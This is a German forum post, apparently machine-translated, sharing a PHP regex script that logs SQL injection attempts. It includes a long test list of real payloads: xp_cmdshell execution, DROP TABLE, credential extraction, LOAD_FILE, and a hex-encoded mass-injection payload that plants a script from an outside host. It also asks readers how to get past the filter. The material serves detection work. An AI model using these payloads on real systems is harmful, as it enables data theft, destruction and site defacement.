Am Wochenende habe ich eine Liste von Regexen zusammengestellt, um nach SQL-Injections in GET, POST und COOKIE Super-Globals zu suchen. Sie sind auf jeden Fall sehr effektiv bei der Erkennung von Sql-Injections. Ich habe viele Injektionsangriffe durchgeführt, die ich in verschiedenen Sql-Injection-Dokumenten gesehen habe, aber Ich bin auf der Suche nach komplexeren Themen, die möglicherweise nicht berücksichtigt werden.
Ich bin mir bewusst, dass die beste Verteidigungsmethode die Validierung/Säuberung von Eingaben und parametrisierten Abfragen ist, aber dieses Skript ist nicht zum Schutz, sondern nur zur Protokollierung potenzieller Angriffe gedacht. Ich bin mir auch bewusst, dass dies unter verschiedenen Umständen zu Fehlalarmen führt, aber da es nur zur Protokollierung verwendet wird, ist dies kein großes Problem.
Das Erkennungsskript finden Sie unten.
<?php
testArray($_GET);
testArray($_POST);
testArray($_COOKIE);
function testArray($array)
{
foreach ($array as $name => $value)
{
if(is_array($value) === true)
{
testArray($value);
}
else
{
testHelper($value);
}
}
}
function testHelper($varvalue)
{
$total = test($varvalue);
echo '<h3 style="'.($total > 0 ? 'color:red;' : 'color:green;').'">'.nl2br($varvalue).'</h3>';
echo '<span style="'.($total > 0 ? 'color:red;' : 'color:green;').'">';
echo 'total = '.$total.'
';
echo '</span><br />';
}
function test($varvalue, $_comment_loop=false)
{
$total = 0;
$varvalue_orig = $varvalue;
$quote_pattern = '\%27|\'|\%22|\"|\%60|`';
// detect base64 encoding
if(preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', $varvalue) > 0 && base64_decode($varvalue) !== false)
{
$varvalue = base64_decode($varvalue);
}
// detect and remove comments
if(preg_match('!/\*.*?\*/!s', $varvalue) > 0)
{
if($_comment_loop === false)
{
$total += test($varvalue_orig, true);
$varvalue = preg_replace('!/\*.*?\*/!s', '', $varvalue);
}
else
{
$varvalue = preg_replace('!/\*.*?\*/!s', ' ', $varvalue);
}
$varvalue = preg_replace('/\n\s*\n/', "\n", $varvalue);
}
$varvalue = preg_replace('/((\-\-|\#)([^\\n]*))\\n/si', ' ', $varvalue);
// detect and replace hex encoding
// detect and replace decimal encodings
if(preg_match_all('/&#x([0-9]{2});/', $varvalue, $matches) > 0 || preg_match_all('/&#([0-9]{2})/', $varvalue, $matches) > 0)
{
// replace numeric entities
$varvalue = preg_replace('/&#x([0-9a-f]{2});?/ei', 'chr(hexdec("\\1"))', $varvalue);
$varvalue = preg_replace('/&#([0-9]{2});?/e', 'chr("\\1")', $varvalue);
// replace literal entities
$trans_tbl = get_html_translation_table(HTML_ENTITIES);
$trans_tbl = array_flip($trans_tbl);
$varvalue = strtr($varvalue, $trans_tbl);
}
$and_pattern = '(\%41|a|\%61)(\%4e|n|%6e)(\%44|d|\%64)';
$or_pattern = '(\%6F|o|\%4F)(\%72|r|\%52)';
$equal_pattern = '(\%3D|=)';
$regexes = array(
'/(\-\-|\#|\/\*)\s*$/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*(\d+)\s*'.$equal_pattern.'\s*\\4\s*/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')(\d+)\\4\s*'.$equal_pattern.'\s*\\5\s*/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*(\d+)\s*'.$equal_pattern.'\s*('.$quote_pattern.')\\4\\6?/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')?(\d+)\\4?/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]*)\\4\\5\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/((('.$quote_pattern.')\s*)|\s+)'.$or_pattern.'\s+([a-z_]+)/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s+([a-z_]+)\s*'.$equal_pattern.'\s*(d+)/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s+([a-z_]+)\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*([a-z_]+)/si',
'/('.$quote_pattern.')?\s*'.$or_pattern.'\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/('.$quote_pattern.')?\s*\)\s*'.$or_pattern.'\s*\(\s*('.$quote_pattern.')([^\\4]+)\\4\s*'.$equal_pattern.'\s*('.$quote_pattern.')/si',
'/('.$quote_pattern.'|\d)?(;|%20|\s)*(union|select|insert|update|delete|drop|alter|create|show|truncate|load_file|exec|concat|benchmark)((\s+)|\s*\()/ix',
'/from(\s*)information_schema.tables/ix',
);
foreach ($regexes as $regex)
{
$total += preg_match($regex, $varvalue);
}
return $total;
}Und für die Faulen... hier sind ein paar Beispielanschläge.
testArray(array(
"' or 1=1--",
"' or 1-- ",
"' or 1-- adasd ",
"' or 1",
"\" or '1'",
"' or 1=1--",
"or 1=1--",
"' OR ''='",
"' or 'a'='a",
'" or "a"="a',
"') or ('a'='a",
"'; exec master..xp_cmdshell 'ping 10.10.1.2'--",
"'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
"10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--",
"10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--",
"' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='",
"' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%') AND ''='",
"'OR''='",
"' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='",
"' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='",
"' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='",
"' OR (SELECT COUNT(*) FROM users)>10 AND ''='",
"' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='",
"' OR EXISTS(SELECT * FROM users WHERE name!='jake' AND name LIKE '%a%') AND ''='",
"' or '1'='1' -- '",
"' or '1'='1' ({ '",
"' or '1'='1' /* '",
"1;DROP TABLE `users`",
"10;DROP members --",
"x' AND email IS NULL; --",
"x' AND 1=(SELECT COUNT(*) FROM tabname); --",
"x' AND members.email IS NULL; --",
"x';
INSERT INTO members ('email','passwd','login_id','full_name')
VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--",
"x';
UPDATE members
SET email = 'steve@unixwiz.net'
WHERE email = 'bob@example.com",
"23 OR 1=1",
"23' OR 1=1",
"\''; DROP TABLE users; --",
"Bill O''Reilly",
"the new album'\"s and totally shit....get back to glasgow and write some good tunes.",
"the new album's and totally shit....get back to glasgow and write some good tune's.",
"the new album's and totally shit.....",
"lee crossan",
"\"123\"",
"111 /*This is my comment...*/UN/*Can You*/IO/*Find It*/N/**/ S/**/E/*
*/LE/*Another comment to*/CT/*Find. Can you dig*//*it*/*",
"1 UNION SELECT ALL FROM WHERE",
"1 UNION SELECT ALL FROM WHERE",
"71985' OR 1 = 1",
"71985 OR 1 = 1",
"71985 OR 1 =1",
"71985 OR 1=1",
"71985 OR 1= 1",
"71985' OR '1'= 1",
"71985 OR '1'= 1",
"71985 OR 1= '1'",
"71985 OR '5555",
"71985 OR '' = '",
"71985 OR '' = \"",
"71985 OR ' ' = \" ",
"71985 OR '_' = \"_",
"71985 OR user_id",
"71985 OR user_id=123",
"71985 OR user_id =123",
"71985 OR user_id ='asd",
"71985 OR 'asd' = user_id",
"71985 OR user_id = user_id",
"71985 OR 'a' = 'a",
"71985 OR 'a' = '",
"71985 OR 'a' = 'a';--",
"71985 OR 'a' = 'a';",
"preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', \$varvalue) > 0 && base64_decode(\$varvalue) !== false)",
'1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- ',
'ar/news/global/2008/12/16/radio_1_christmas_show',
'202534599.1295899315.1.1.utmcsr=xxx.xxx.de|utmccn=(referral)|utmcmd=referral|utmcct=/xxx/xxx/blog/dc11656b/',
'Aptly describes how a close-minded society can make a person feel. To think that this same society would target young adolescents is unconscionable. Thanks for the song.',
'; SELECT(xxxx) ',
'Aptly describes how a close-minded society can make a person feel. Thanks for the song.',
"';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);",
'; SELECT LOAD_FILE(0x633A5C626F6F742E696E69)',
'SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))',
'SELECT CHAR(75)+CHAR(76)+CHAR(77)',
'SELECT login || \'-\' || password FROM members',
'DROP/*comment*/sampletable',
';DR/**/OP/*bypass blacklisting*/sampletable',
';DR/**/OP/*bypass blacklisting*/ sampletable',
';DR/*
*/OP/*bypass blacklisting*/ sampletable',
';DR--
OP--
sampletable',
';DROP-- eranious data
TABLE --
sampletable',
'1;SELECT/*avoid-spaces*/password/**/FROM/**/Members ',
'SELECT /*!32302 1/0, */ 1 FROM tablename',
"' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--",
"1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055",
"-1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL-- ",
"11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- ",
"11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –- ",
",0 UNION ALL SELECT 1,'x'/*,10 ;",
"';shutdown --",
"(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')",
"BENCHMARK(howmanytimes, do this)",
"BENCHMARK (howmanytimes, do this)",
"1 union select benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1",
"this is not a attack but --
plain text comment that someone could write.
",
"what about this; or that or them!",
));Also die wichtigste Frage ist - können Sie möglicherweise eine SQL-Injektion vorbei an dieser Testfunktion erhalten - und wenn ja - was ist es?
